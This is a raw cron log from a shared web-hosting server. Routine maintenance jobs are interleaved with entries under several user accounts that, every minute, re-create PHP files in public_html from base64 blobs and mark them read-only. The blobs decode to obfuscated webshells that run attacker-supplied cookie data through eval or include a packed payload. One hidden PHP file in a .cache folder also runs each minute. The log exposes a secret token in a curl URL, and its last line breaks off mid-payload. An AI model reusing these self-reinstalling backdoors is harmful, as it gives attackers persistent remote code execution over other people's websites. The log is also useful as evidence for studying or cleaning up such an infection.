Jun  7 15:29:01 medusa CROND[30243]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:29:01 medusa CROND[30250]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:29:01 medusa CROND[30254]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:30:01 medusa CROND[31789]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 15:30:01 medusa CROND[31793]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:30:02 medusa CROND[31841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:30:02 medusa CROND[31847]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 15:30:02 medusa CROND[31848]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 15:30:02 medusa CROND[31850]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 15:30:02 medusa CROND[31851]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 15:30:02 medusa CROND[31849]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 15:30:02 medusa CROND[31852]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 15:30:02 medusa CROND[31855]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:30:02 medusa CROND[31853]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 15:30:02 medusa CROND[31854]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 15:30:02 medusa CROND[31856]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 15:30:02 medusa CROND[31862]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:30:02 medusa CROND[31868]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:30:02 medusa CROND[31869]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:30:02 medusa CROND[31857]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 15:30:02 medusa CROND[31865]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 15:30:02 medusa CROND[31875]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 15:30:02 medusa CROND[31876]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 15:30:02 medusa CROND[31879]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Jun  7 15:30:02 medusa CROND[31880]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:30:02 medusa CROND[31874]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 15:30:02 medusa CROND[31894]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Jun  7 15:30:02 medusa CROND[31895]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:30:02 medusa CROND[31897]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:30:02 medusa CROND[31900]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:30:02 medusa CROND[31903]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 15:30:02 medusa CROND[31898]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 15:30:02 medusa CROND[31924]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:30:02 medusa CROND[31925]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 15:31:01 medusa CROND[1393]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:31:01 medusa CROND[1394]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:31:01 medusa CROND[1395]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:31:01 medusa CROND[1396]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:31:01 medusa CROND[1398]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:31:01 medusa CROND[1397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:31:01 medusa CROND[1399]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 15:31:01 medusa CROND[1400]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 15:31:01 medusa CROND[1402]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:31:01 medusa CROND[1401]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MT